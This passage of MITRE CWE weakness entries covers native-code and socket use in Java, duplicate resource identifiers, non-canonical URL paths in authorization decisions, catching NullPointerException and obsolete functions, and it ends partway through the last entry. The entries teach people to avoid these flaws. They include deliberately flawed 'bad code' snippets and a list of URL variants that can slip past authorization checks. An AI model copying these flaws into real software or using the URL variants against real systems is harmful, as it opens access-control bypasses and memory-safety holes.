The vulnerability in the example above could easily be detected through a source code audit of the native method implementation. This may not be practical or possible depending on the availability of the C source code and the way the project is built, but in many cases it may suffice. However, the ability to share objects between Java and native methods expands the potential risk to much more insidious cases where improper data handling in Java may lead to unexpected vulnerabilities in native code or unsafe operations in native code corrupt data structures in Java. Vulnerabilities in native code accessed through a Java application are typically exploited in the same manner as they are in applications written in the native language. The only challenge to such an attack is for the attacker to identify that the Java application uses native code to perform certain operations. This can be accomplished in a variety of ways, including identifying specific behaviors that are often implemented with native code or by exploiting a system information exposure in the Java application that reveals its use of JNI [See Reference].

Example 2

The following example opens a socket to connect to a remote server.

(bad code)
Example Language: Java 
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

// Perform servlet tasks.
...

// Open a socket to a remote server (bad).
Socket sock = null;

try {
sock = new Socket(remoteHostname, 3000);

// Do something with the socket.
...
} catch (Exception e) {
...
}
}

A Socket object is created directly within the Java servlet, which is a dangerous way to manage remote connections.

+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-09-09
(CWE 1.0, 2008-09-09)
CWE Content TeamMITRE
Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2009-03-10CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-694: Use of Multiple Resources with Duplicate Identifier

Weakness ID: 694
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses multiple resources that can have the same identifier, in a context in which unique identifiers are required.
+ Extended Description
If the product assumes that each resource has a unique identifier, the product could operate on the wrong resource if attackers can cause multiple resources to be associated with the same identifier.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.99Improper Control of Resource Identifiers ('Resource Injection')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.102Struts: Duplicate Validation Forms
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.462Duplicate Key in Associative List (Alist)
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1006Bad Coding Practices
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.399Resource Management Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

If unique identifiers are assumed when protecting sensitive resources, then duplicate identifiers might allow attackers to bypass the protection.
Other

Technical Impact: Quality Degradation

+ Demonstrative Examples

Example 1

These two Struts validation forms have the same name.

(bad code)
Example Language: XML 
<form-validation>
<formset>
<form name="ProjectForm"> ... </form>
<form name="ProjectForm"> ... </form>
</formset>
</form-validation>

It is not certain which form will be used by Struts. It is critically important that validation logic be maintained and kept in sync with the rest of the product.

+ Observed Examples
ReferenceDescription
chain: mobile OS verifies cryptographic signature of file in an archive, but then installs a different file with the same name that is also listed in the archive.
+ Potential Mitigations

Phase: Architecture and Design

Where possible, use unique identifiers. If non-unique identifiers are detected, then do not operate any resource with a non-unique identifier and report the error appropriately.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.984SFP Secondary Cluster: Life Cycle
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This weakness is probably closely associated with other issues related to doubling, such as CWE-675 (Duplicate Operations on Resource). It's often a case of an API contract violation (CWE-227).
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-09-09
(CWE 1.0, 2008-09-09)
CWE Content TeamMITRE
Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description, Observed_Examples, Other_Notes, Potential_Mitigations, Relationship_Notes, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Relevant_Properties
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions

Weakness ID: 647
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.
+ Extended Description

If an application defines policy namespaces and makes authorization decisions based on the URL, but it does not require or convert to a canonical URL before making the authorization decision, then it opens the application to attack. For example, if the application only wants to allow access to http://www.example.com/mypage, then the attacker might be able to bypass this restriction using equivalent URLs such as:

  • http://WWW.EXAMPLE.COM/mypage
  • http://www.example.com/%6Dypage (alternate encoding)
  • http://192.168.1.1/mypage (IP address)
  • http://www.example.com/mypage/ (trailing /)
  • http://www.example.com:80/mypage

Therefore it is important to specify access control policy that is based on the path information in some canonical form with all alternate encodings rejected (which can be accomplished by a default deny rule).

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.863Incorrect Authorization
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Web Server (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

An attacker may be able to bypass the authorization mechanism to gain access to the otherwise-protected URL.
Confidentiality

Technical Impact: Read Files or Directories

If a non-canonical URL is used, the server may choose to return the contents of the file, instead of pre-processing the file (e.g. as a program).
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

Example from CAPEC (CAPEC ID: 4, "Using Alternative IP Address Encodings"). An attacker identifies an application server that applies a security policy based on the domain and application name, so the access control policy covers authentication and authorization for anyone accessing http://example.domain:8080/application. However, by putting in the IP address of the host the application authentication and authorization controls may be bypassed http://192.168.0.1:8080/application. The attacker relies on the victim applying policy to the namespace abstraction and not having a default deny policy in place to manage exceptions.

+ Potential Mitigations

Phase: Architecture and Design

Make access control policy based on path information in canonical form. Use very restrictive regular expressions to validate that the path is in the expected form.

Phase: Architecture and Design

Reject all alternate path encodings that are not in the expected canonical form.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.845The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.949SFP Secondary Cluster: Faulty Endpoint Authentication
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1147SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)IDS02-JCanonicalize path names before validating them
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-30
(CWE Draft 8, 2008-01-30)
Evgeny LebanidzeCigital
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships
2008-10-14CWE Content TeamMITRE
updated Description, Name, Potential_Mitigations, Relationships
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2010-12-13CWE Content TeamMITRE
updated Common_Consequences
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Observed_Examples, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-10-14Using Non-Canonical Paths for Authorization Decisions

CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference

Weakness ID: 395
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Catching NullPointerException should not be used as an alternative to programmatic checks to prevent dereferencing a null pointer.
+ Extended Description

Programmers typically catch NullPointerException under three circumstances:

  • The program contains a null pointer dereference. Catching the resulting exception was easier than fixing the underlying problem.
  • The program explicitly throws a NullPointerException to signal an error condition.
  • The code is part of a test harness that supplies unexpected input to the classes under test.

Of these three circumstances, only the last is acceptable.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.755Improper Handling of Exceptional Conditions
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.705Incorrect Control Flow Scoping
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.389Error Conditions, Return Values, Status Codes
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Resource Consumption (CPU)

+ Demonstrative Examples

Example 1

The following code mistakenly catches a NullPointerException.

(bad code)
Example Language: Java 
try {
mysteryMethod();
} catch (NullPointerException npe) {
}
+ Potential Mitigations

Phases: Architecture and Design; Implementation

Do not extensively rely on catching exceptions (especially for validating user input) to handle errors. Handling exceptions can decrease the performance of an application.
+ Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3887PK - Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.851The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.962SFP Secondary Cluster: Unchecked Status Condition
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsCatching NullPointerException
The CERT Oracle Secure Coding Standard for Java (2011)ERR08-JDo not catch NullPointerException or any of its ancestors
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-03-29CWE Content TeamMITRE
updated Other_Notes, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Catch NullPointerException

CWE-477: Use of Obsolete Function

Weakness ID: 477
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained.
+ Extended Description

As programming languages evolve, functions occasionally become obsolete due to:

  • Advances in the language
  • Improved understanding of how operations should be performed effectively and securely
  • Changes in the conventions that govern certain operations

Functions that are removed are usually replaced by newer counterparts that perform the same task in some different and hopefully improved way.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.710Improper Adherence to Coding Standards
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1228API / Function Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

+ Demonstrative Examples

Example 1

The following code uses the deprecated function getpw() to verify that a plaintext password matches a user's encrypted password. If the password is valid, the function sets result to 1; otherwise it is set to 0.

(bad code)
Example Language:
...
getpw(uid, pwdline);
for (i=0; i<3; i++){
cryptpw=strtok(pwdline, ":");
pwdline=0;
}
result = strcmp(crypt(plainpw,cryptpw), cryptpw) == 0;
...

Although the code often behaves correctly, using the getpw() function can be problematic from a security standpoint, because it can overflow the buffer passed to its second parameter. Because of this vulnerability, getpw() has been supplanted by getpwuid(), which performs the same lookup as getpw() but returns a pointer to a statically-allocated structure to mitigate the risk. Not all functions are deprecated or replaced because they pose a security risk. However, the presence of an obsolete function often indicates that the surrounding code has been neglected and may be in a state of disrepair. Software security has not been a priority, or even a consideration, for very long. If the program uses deprecated or obsolete functions, it raises the probability that there are security problems lurking nearby.

Example 2

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a null pointer exception when it attempts to call the "Trim()" method.

(bad code)
Example Language: Java 
String cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();

Example 3

The following code constructs a string object from an array of bytes and a value that specifies the top 8 bits of each 16-bit Unicode character.

(bad code)
Example Language: Java 
...
String name = new String(nameBytes, highByte);
...

In this example, the constructor may not correctly convert bytes to characters depending upon which charset is used to encode the string represented by nameBytes. Due to the evolution of the charsets used to encode strings, this constructor was deprecated and replaced by a constructor that accepts as one of its parameters the name of the charset used to encode the bytes for conversion.

+ Potential Mitigations

Phase: Implementation

Refer to the documentation for the obsolete function in order to determine why it is deprecated or obsolete and to learn about alternative ways to achieve the same functionality.

Phase: Requirements

Consider seriously the security implications of using an obsolete function. Consider using alternate functions.
+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Detection Methods

Automated Static Analysis - Binary or Bytecode

